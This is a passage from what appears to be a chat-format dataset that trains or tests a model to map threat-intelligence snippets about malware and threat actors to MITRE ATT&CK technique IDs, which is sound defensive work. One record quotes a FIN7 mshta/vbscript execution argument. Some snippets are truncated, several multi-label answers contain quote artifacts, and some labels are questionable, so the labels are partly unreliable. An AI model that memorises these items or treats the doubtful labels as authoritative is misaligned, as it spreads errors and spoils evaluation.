                "content": "MegaCortex can stop and disable services on the system."
            },
            {
                "role": "assistant",
                "content": "T1489 - Service Stop"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SHUTTERSPEED can capture screenshots."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "This variant uses an 8-byte XOR key to obfuscate API names and other strings within the payload (Figure 5). Figure 5: 8-Byte XOR Key for obfuscation"
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In one instance, the threat actor gained remote access to a high-value system in a compromised network, ran quser.exe to identify existing RDP sessions on the device, immediately ran a command to compile a RAR archive that specified file types the threat actor did not want, and used a password to encrypt the archive"
            },
            {
                "role": "assistant",
                "content": "T1119 - Automated Collection', 'T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Netwalker has been written in PowerShell and executed directly in memory, avoiding detection."
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Observed GoldMax C2 domains are high-reputation and high-prevalence, often acquired from domain resellers so that Whois records retain the creation date from their previous registration, or domains that may have been compromised. This tactic complements NOBELIUM’s operational security strategy as these domains are more likely to be overlooked by security products and analysts based on their perceived long-lived domain ownership. Put simply, several domains we have shared as GoldMax C2 domains are only associated with NOBELIUM after the time they were re-sold or compromised – and Microsoft has provided that indicator context where it is available to us"
            },
            {
                "role": "assistant",
                "content": "T1584.001 - Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Ke3chang has used tools to download files to compromised machines."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Turla has used a custom decryption routine, which pulls key and salt values from other artifacts such as a WMI filter or PowerShell Profile, to decode encrypted PowerShell payloads."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "LoudMiner used a script to gather the IP address of the infected machine before sending to the C2."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Naikon has used a netbios scanner for remote machine identification."
            },
            {
                "role": "assistant",
                "content": "T1018 - Remote System Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Based on the McAfee Advanced Threat Research team’s analysis, we find multiple components from this operation are unique from a code perspective, even though the code is loosely based on previous versions of the SYSCON backdoor"
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information', 'T1027.001 - Obfuscated Files or Information: Binary Padding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ObliqueRAT has gained execution on targeted systems through luring users to click on links to malicious URLs."
            },
            {
                "role": "assistant",
                "content": "T1204.001 - Malicious Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "OnionDuke has the capability to use a Denial of Service module."
            },
            {
                "role": "assistant",
                "content": "T1499 - Endpoint Denial of Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Magic Hound gathered credentials from two victims that they then attempted to validate across 75 different websites."
            },
            {
                "role": "assistant",
                "content": "T1589.001 - Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "NetPass.exe: a legitimate utility developed by NirSoft that recovers all network passwords stored on a system for the current logged-on user. This tool can also recover passwords stored in the credentials file of external drives. WebBrowserPassView: a password recovery tool that captures passwords stored by Internet Explorer, Mozilla Firefox, Google Chrome, Safari, and Opera and passes them to the credential enumerator module. Mail PassView: a password recovery tool that reveals passwords and account details for various email clients such as Microsoft Outlook, Windows Mail, Mozilla Thunderbird, Hotmail, Yahoo. Mail, and Gmail and passes them to the credential enumerator module. Once an available system is found, Emotet then writes the service component on the system, which writes Emotet onto the disk"
            },
            {
                "role": "assistant",
                "content": "T1552.001 - Unsecured Credentials: Credentials In Files"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ZxShell has used HTTP for C2 connections."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BackdoorDiplomacy has exploited CVE-2020-5902, an F5 BIP-IP vulnerability, to drop a Linux backdoor. BackdoorDiplomacy has also exploited mis-configured Plesk servers."
            },
            {
                "role": "assistant",
                "content": "T1190 - Exploit Public-Facing Application"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Firstly, the reason this has been named MirageFox instead of just Mirage, is because in the Export directory for the modules, the name field is filled with a string MirageFox_Server.dat"
            },
            {
                "role": "assistant",
                "content": "T1036 - Masquerading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SombRAT has the ability to run \"cancel\" or \"closeanddeletestorage\" to remove all files from storage and delete the storage temp file on a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Sodinokibi ransomware, also known as REvil or Sodin, has been responsible for a series of high-profile attacks since April 2019"
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FIN7 sent spearphishing emails with either malicious Microsoft Documents or RTF files attached."
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can gather victim proxy information."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "1) Communicate with the C2, try to forward ports with UPnP and determine available ports and report them to the C2. The usual C2 communication protocol used here is HTTP POST RC4-ciphered JSON data. Instead of saving the downloaded file, QakBot measures the download speed and deletes the received file. 3) Set up external PROXY-C2 connection that was received with command 37 (update config)/module 274 (proxy) by the stager"
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "HAWKBALL is a backdoor that communicates to a single hard-coded C2 server using HTTP. The C2 server is obtained from the decrypted config file, as shown in Figure 5"
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Once in the folder, this property list (plist) file will launch the CrashReporter program with the Maintain parameter on system load as Root for every user. Because the LaunchDaemon will not run automatically after the plist file is moved, the postinstall script launches CrashReporter with the Maintain parameter and runs it in the background (Create or Modify System Process: Launch Daemon [T1543.004"
            },
            {
                "role": "assistant",
                "content": "T1569.001 - System Services: Launchctl"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "used a rootkit to modify typical server functionality."
            },
            {
                "role": "assistant",
                "content": "T1014 - Rootkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "For example, we analyzed a DropIt sample (SHA256: cca268c13885ad5751eb70371bbc9ce8c8795654fedb90d9e3886cbcfe323671) that dropped two executables, one of which was saved to “%TEMP%\\flash_update.exe” that was a legitimate Flash Player installer"
            },
            {
                "role": "assistant",
                "content": "T1036 - Masquerading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Chinese state-sponsored cyber actors have been observed using the New-MailboxExportRequest PowerShell cmdlet to export target email boxes."
            },
            {
                "role": "assistant",
                "content": "T1114 - Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TEMP.Veles has obtained and used tools such as Mimikatz and PsExec."
            },
            {
                "role": "assistant",
                "content": "T1588.002 - Tool"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Crimson can identify the user on a targeted system."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "copies an executable payload to the target system by using  and then scheduling an unnamed task to execute the malware."
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attackers orchestrate attacks using batch or PowerShell scripts that are executed, with the help of domain controllers, on any machine the DC can reach. The scripts retrieve the attackers’ payloads using psexec or certutil"
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer', 'T1569.002 - System Services: Service Execution', 'T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The majority of 2017 and 2018 Karagany samples analyzed by CTU researchers were packed using a custom packer, albeit a reasonably simple one that performs a number of binary shifts and logic operations. Karagany campaigns in 2016 and prior typically used the UPX packer as an additional layer of obfuscation, but this behavior was not observed in 2017-2018 samples. Breaking on this function call in a debugger allows an analyst to dump the process and extract the unpacked Karagany binary for further analysis"
            },
            {
                "role": "assistant",
                "content": "T1027.002 - Obfuscated Files or Information: Software Packing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actors can execute remote commands by running this specialized module with predefined actions. This module attempts to execute a command. It uses the PowerShell Invoke-Expression method for the PowerShell-based module, while its C# implementation has both cmd and PowerShell options"
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Magic Hound has exported emails from compromised Exchange servers."
            },
            {
                "role": "assistant",
                "content": "T1114.002 - Email Collection: Remote Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During Operation Sharpshooter, a first-stage downloader installed Rising Sun to `%Startup%\\mssync.exe` on a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Chaos conducts brute force attacks against SSH services to gain initial access."
            },
            {
                "role": "assistant",
                "content": "T1110 - Brute Force"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "is used to patch an enterprise domain controller authentication process with a backdoor password. It allows adversaries to bypass the standard authentication system to use a defined password for all accounts authenticating to that domain controller."
            },
            {
                "role": "assistant",
                "content": "T1098 - Account Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "NanoCore has the capability to download and activate additional modules for execution."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Earth Lusca used the command \"ipconfig\" to obtain information about network configurations."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After the execution of rundll32.exe, the PowerShell script enu.ps1 is executed. This script is encoded with Base64 in order to avoid detection by antivirus products"
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Stolen digital certificate re-use"
            },
            {
                "role": "assistant",
                "content": "T1588.004 - Digital Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BlackEnergy has removed the watermark associated with enabling the \"TESTSIGNING\" boot configuration option by removing the relevant strings in the \"user32.dll.mui\" of the system."
            },
            {
                "role": "assistant",
                "content": "T1070 - Indicator Removal on Host"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT1 has sent spearphishing emails containing malicious attachments."
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "RARM Creates RAR files per logical drive containing data with timestamps for the past 30 days, then uploads RAR to the C2 server using a POST command at the path “/FeedBack.php”"
            },
            {
                "role": "assistant",
                "content": "T1560 - Archive Collected Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Figure 1: Malicious FIN7 lure asking victim to double click to unlock contents The malicious LNK launches “mshta.exe” with the following arguments passed to it: vbscript:Execute(\"On Error Resume Next:set w=GetObject(,\"\"Word.Application\"\"):execute w.ActiveDocument.Shapes(2).TextFrame.TextRange.Text:close\") The script in the argument combines all the textbox contents in the document and executes them, as seen in Figure 2"
            },
            {
                "role": "assistant",
                "content": "T1204 - User Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Exaramel for Windows adds the configuration to the Registry in XML format."
            },
            {
                "role": "assistant",
                "content": "T1112 - Modify Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT19 leveraged Rich Text Format (RTF) and macro-enabled Microsoft Excel (XLSM) files to deliver their initial exploits"
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The macro uses PowerShell to download a shellcode-based payload from a remote server using one of two available techniques"
            },
            {
                "role": "assistant",
                "content": "T1546.013 - Event Triggered Execution: PowerShell Profile', 'T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can enumerate local information for Linux hosts and find currently logged on users for Windows hosts."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Mythic can use SOCKS proxies to tunnel traffic through another protocol."
            },
            {
                "role": "assistant",
                "content": "T1572 - Protocol Tunneling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Log.php validates the sender by User-Agent, saves the data in the “UP” server directory and stores the metadata in the mssql database for later reference"
            },
            {
                "role": "assistant",
                "content": "T1074 - Data Staged"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "njRAT enumerates the current user during the initial infection."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "gathers information about local groups and members."
            },
            {
                "role": "assistant",
                "content": "T1069 - Permission Groups Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Figure 11 Embedded BMP file containing encrypted string data RC4 is used to decrypt this data using a 16-byte key that is stored within the BMP file at offset 0x502"
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "may create a temporary user on the system named “Lost_{Unique Identifier}” with the password “pond~!@6”{Unique Identifier}.”"
            },
            {
                "role": "assistant",
                "content": "T1136 - Create Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Once these variables are set, the malware uses the SoapHttpClientProtocol class to communicate with its C2 server, which issues an HTTP POST requests that appears as:  As you can see from the above request, the SoapHttpClientProtocol class neatly structures data into an HTTP POST request"
            },
            {
                "role": "assistant",
                "content": "T1071 - Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "contains a copy of the OpenSSL library to encrypt C2 traffic."
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "RTM uses the command line and rundll32.exe to execute."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "collects the MAC address, computer name, and CPU information."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "RTM has the ability to remove Registry entries that it created for persistence."
            },
            {
                "role": "assistant",
                "content": "T1070.009 - Clear Persistence"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Gelsemium can compress embedded executables with the zlib library."
            },
            {
                "role": "assistant",
                "content": "T1560.002 - Archive Collected Data: Archive via Library"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "KeyBoy uses custom SSL libraries to impersonate SSL in C2 traffic."
            },
            {
                "role": "assistant",
                "content": "T1001.003 - Protocol or Service Impersonation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Modules can be pushed to and executed by  that copy data to a staging area, compress it, and XOR encrypt it."
            },
            {
                "role": "assistant",
                "content": "T1560 - Archive Collected Data', 'T1486 - Data Encrypted for Impact', 'T1074 - Data Staged"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Some Sakula samples install themselves as services for persistence by calling WinExec with the \"net start\" argument."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BackConfig has the ability to use scheduled tasks to repeatedly execute malicious payloads on a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware uploads the stolen data to third-party cloud storage providers. The sample identified in the wild is configured to upload to pCloud, but functionality to upload to Dropbox, Box and Yandex Cloud is also included"
            },
            {
                "role": "assistant",
                "content": "T1102.002 - Bidirectional Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The function hashing algorithm is used to map a hash value of a given function name to its corresponding location in memory using a process known as Run-Time Dynamic Linking. Pre-computed hashes are passed to the hashing algorithm alongside the Windows library containing the related function name. Each function name within the library is hashed; when a match is found, its address is saved"
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The execution chain ensures that persistence is set on the affected system using a .lnk file in the Startup directory. The .lnk file shown in Figure 17 opens the malicious VBS dropped on the system"
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After the botnets of direct ZeuS successors were taken down, Dridex’s time came. This malware is a result of Bugat evolution (which appeared in 2010). Bugat v5 was recognized as Dridex in 2014."
            },
            {
                "role": "assistant",
                "content": "T1587.001 - Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "allows actors to spawn a reverse shell on a victim."
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
